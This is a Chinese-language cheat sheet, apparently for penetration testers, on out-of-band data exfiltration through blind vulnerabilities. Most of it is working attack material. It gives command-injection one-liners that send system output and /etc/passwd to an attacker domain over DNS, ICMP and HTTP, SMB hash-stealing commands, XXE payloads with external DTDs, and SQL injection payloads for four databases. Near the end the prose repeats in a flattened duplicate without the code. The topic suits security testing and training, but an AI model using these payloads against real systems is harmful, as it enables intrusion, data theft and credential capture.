带外通道(OOB)技术清单
字数 1252 2025-08-27 12:33:30

带外通道(OOB)技术全面指南

1. OOB技术概述

带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。

核心原理

  • 利用脆弱的实体生成带外的TCP/UDP/ICMP请求
  • 通过这个请求来提取数据
  • 成功基于防火墙允许出站请求的规则

最佳选择

DNS是OOB攻击的最佳选择,因为:

  • DNS请求通常被允许通过防火墙
  • 可以携带数据
  • 有成熟的工具支持

2. 基础设施搭建

前提条件

  1. 具有静态IP的公网服务器
  2. 注册域并配置DNS解析

具体步骤

  1. 创建Linux系统(如使用GCP VPS)
  2. 配置DNS记录:
    • 添加Nameserver子域记录
    • 为nameserver添加A记录指向服务器IP
  3. 使用tcpdump监控DNS请求:
    sudo tcpdump -n port 53
    

3. OS命令注入利用

检测方法

使用以下命令触发DNS查询:

  • Windows:
    nslookup test.oob.dnsattacker.com
    ping ping.oob.dnsattacker.com
    
  • Unix:
    host host.oob.dnsattacker.com
    dig test.oob.dnsattacker.com
    

数据提取技术

Windows系统

  1. 基本数据提取:

    cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
    

    攻击者解码:

    echo "encoded output" | base64 -d
    
  2. 大文件传输(十六进制):

    cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex; $subdomain=$text.replace(' ',''); $j=11111;foreach($i in $subdomain){$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j+=1;nslookup $final}"
    

    攻击者重建数据:

    echo "0x$(cat file.txt | tr ' ' '\n' | awk '/file.oob.dnsattacker.com/{print $1}' | sort -u | cut -d '.' -f 2 | tr -d '\n')" | xxd -r -p
    

Unix系统

  1. 十六进制传输:

    var=11111 && for b in $(ifconfig | xxd -p); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done
    

    攻击者重建:

    echo "0x$(cat file.txt | tr ' ' '\n' | awk '/file.oob.dnsattacker.com/{print $1}' | sort -u | cut -d '.' -f 2 | tr -d '\n')" | xxd -r -p
    
  2. Base64传输(更高效):

    var=11111 && for i in $(ifconfig | base64 | awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done
    

    攻击者重建:

    cat file2.txt | tr ' ' '\n' | awk '/file.oob.dnsattacker.com/{print $1}' | sort -u | cut -d '.' -f 2 | tr -d '\n' | base64 -d
    

4. 其他协议利用

ICMP协议

Windows:

cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt; $ICMPClient=New-Object System.Net.NetworkInformation.Ping; $PingOptions=New-Object System.Net.NetworkInformation.PingOptions; $PingOptions.DontFragment=$True; $sendbytes=([text.encoding]::ASCII).GetBytes($text); $ICMPClient.Send('dnsattacker.com',60*1000,$sendbytes,$PingOptions);"

攻击者捕获:

sudo tcpdump 'icmp and src host [受害者IP]' -w powericmp.pcap

解码:

echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p

Unix:

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com; done

攻击者捕获和解码同上。

HTTP协议

Windows:

cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"

无PowerShell时使用:

mshta !Final!

攻击者解码:

echo "0x$(ncat -lvp 9000 | grep -i get | tr -d '/' | cut -d ' ' -f2)" | xxd -r -p

Unix:

wget --header=evil:$(ifconfig | xxd -p -c 100000) http://dnsattacker.com:9000

或:

wget --post-data exfil='cat /etc/passwd' http://dnsattacker.com
wget --post-file trophy.php http://dnsattacker.com
cat /path/to/sensitive.txt | curl -F ":data=@-" http://dnsattacker.com/test.txt

攻击者解码:

echo "0x$(ncat -lvp 9000 | grep -i evil | tr -d '/' | cut -d ' ' -f2)" | xxd -r -p

SMB协议(窃取哈希)

Windows:

net use h: \\dnsattacker.com\web

攻击者使用Responder捕获:

sudo ./Responder.py -I eth0

或带认证的:

net use h: \\dnsattacker.com\web /user:{password} && copy {file.txt to Copy} h:\{file.txt}.txt

5. XXE漏洞利用

检测

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>

监控DNS查询确认漏洞。

数据提取方法

HTTP方式

攻击者准备:

python -m SimpleHttpServer 9000

恶意XML:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;%param1;]>
<r>&exfil;</r>

linux.dtd内容:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">

Windows版dtd:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">

FTP方式

攻击者运行:

python -m SimpleHttpServer 9000
python xxeftp.py

恶意XML同上,但dtd改为:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">

SMB方式(窃取哈希)

攻击者运行:

sudo ./Responder.py -I eth0

恶意XML:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >
]>
<foo>&xxe;</foo>

其他可用payload:

http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\C$\1.txt

6. SQL注入利用

Oracle数据库

检测:

SELECT DBMS_LDAP.INIT(('oob.dnsattacker.com',80) FROM DUAL;

数据提取:

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;

替代方法(10G及以下版本):

UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS_LDAP.INIT, UTL_TCP

MSSQL

检测:

EXEC master..xp_dirtree('\\oob.dnsattacker.com\') --

数据提取:

DECLARE @data varchar(1024);
SELECT @data=(SELECT system_user);
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');

其他方法:

xp_fileexists, xp_subdirs, xp_getfiledetails, sp_add_jobstep

MySQL

检测:

SELECT LOAD_FILE(CONCAT('\\\\','oob.dnsattacker.com\\test.txt'));

数据提取:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(CONCAT(user(),"\n"))),'.oob.dnsattacker.com\\test.txt'));

PostgreSQL

检测:

CREATE EXTENSION dblink;
SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');

数据提取:

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS 
$$

DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT encode(convert_to(concat(user,' '),'UTF8'),'hex'));
exec_cmd:=E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;

$$
 LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

7. 技术限制

  1. 域名限制:

    • 最多127个子域
    • 每个子域最多63个字符
    • 完整域名最大长度253字符
  2. 缓存问题:

    • 需要为每个请求添加唯一值
  3. 安全性:

    • DNS是明文通道
    • 数据可能被中间节点和DNS服务器缓存
    • 不适用于敏感数据传输

8. 参考资源

  1. Pwning with Responder: A Pentester's Guide
  2. Powershell ICMP Sender
  3. dnscat2 Powershell
  4. Exfiltrating data from very isolated environments
  5. Data Exfiltration with DNS in SQLi Attacks
  6. PostgreSQL Cross Database Queries
带外通道(OOB)技术全面指南 1. OOB技术概述 带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。 核心原理 利用脆弱的实体生成带外的TCP/UDP/ICMP请求 通过这个请求来提取数据 成功基于防火墙允许出站请求的规则 最佳选择 DNS是OOB攻击的最佳选择,因为: DNS请求通常被允许通过防火墙 可以携带数据 有成熟的工具支持 2. 基础设施搭建 前提条件 具有静态IP的公网服务器 注册域并配置DNS解析 具体步骤 创建Linux系统(如使用GCP VPS) 配置DNS记录: 添加Nameserver子域记录 为nameserver添加A记录指向服务器IP 使用tcpdump监控DNS请求: 3. OS命令注入利用 检测方法 使用以下命令触发DNS查询: Windows: Unix: 数据提取技术 Windows系统 基本数据提取: 攻击者解码: 大文件传输(十六进制): 攻击者重建数据: Unix系统 十六进制传输: 攻击者重建: Base64传输(更高效): 攻击者重建: 4. 其他协议利用 ICMP协议 Windows: 攻击者捕获: 解码: Unix: 攻击者捕获和解码同上。 HTTP协议 Windows: 无PowerShell时使用: 攻击者解码: Unix: 或: 攻击者解码: SMB协议(窃取哈希) Windows: 攻击者使用Responder捕获: 或带认证的: 5. XXE漏洞利用 检测 监控DNS查询确认漏洞。 数据提取方法 HTTP方式 攻击者准备: 恶意XML: linux.dtd内容: Windows版dtd: FTP方式 攻击者运行: 恶意XML同上,但dtd改为: SMB方式(窃取哈希) 攻击者运行: 恶意XML: 其他可用payload: 6. SQL注入利用 Oracle数据库 检测: 数据提取: 替代方法(10G及以下版本): MSSQL 检测: 数据提取: 其他方法: MySQL 检测: 数据提取: PostgreSQL 检测: 数据提取: 7. 技术限制 域名限制: 最多127个子域 每个子域最多63个字符 完整域名最大长度253字符 缓存问题: 需要为每个请求添加唯一值 安全性: DNS是明文通道 数据可能被中间节点和DNS服务器缓存 不适用于敏感数据传输 8. 参考资源 Pwning with Responder: A Pentester's Guide Powershell ICMP Sender dnscat2 Powershell Exfiltrating data from very isolated environments Data Exfiltration with DNS in SQLi Attacks PostgreSQL Cross Database Queries